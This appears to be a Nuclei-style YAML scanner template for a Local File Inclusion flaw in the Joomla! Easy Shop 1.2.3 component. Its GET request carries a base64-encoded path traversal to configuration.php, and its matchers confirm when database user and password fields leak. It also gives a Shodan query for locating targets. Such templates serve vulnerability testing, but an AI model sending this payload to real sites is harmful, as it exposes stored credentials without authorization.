29 lines
1.0 KiB
YAML
29 lines
1.0 KiB
YAML
id: joomla-easyshop-lfi
|
|
|
|
info:
|
|
name: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion
|
|
author: ritikchaddha
|
|
severity: high
|
|
description: |
|
|
The Joomla! component Easy Shop version 1.2.3 is vulnerable to Local File Inclusion (LFI) attacks.
|
|
reference:
|
|
- https://blog.csdn.net/weixin_42628854/article/details/136036109
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: http.component:"Joomla"
|
|
tags: cnvd,cnvd2023,file-upload
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA="
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(body, "<?php", "class JConfig {")'
|
|
- 'contains_any(body, "$user", "$password", "$dbtype")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 4a0a0047304502201755730c8710af69f78b1aaff63f08ae5c9a66b75f7cb75e2af29be86b02c9ad0221008f9a1cbc8cca3a461c70c9f95ec5d76a9c010cab0ae096bc6cc93b41967feee1:922c64590222798bb761d5b6d8e72950 |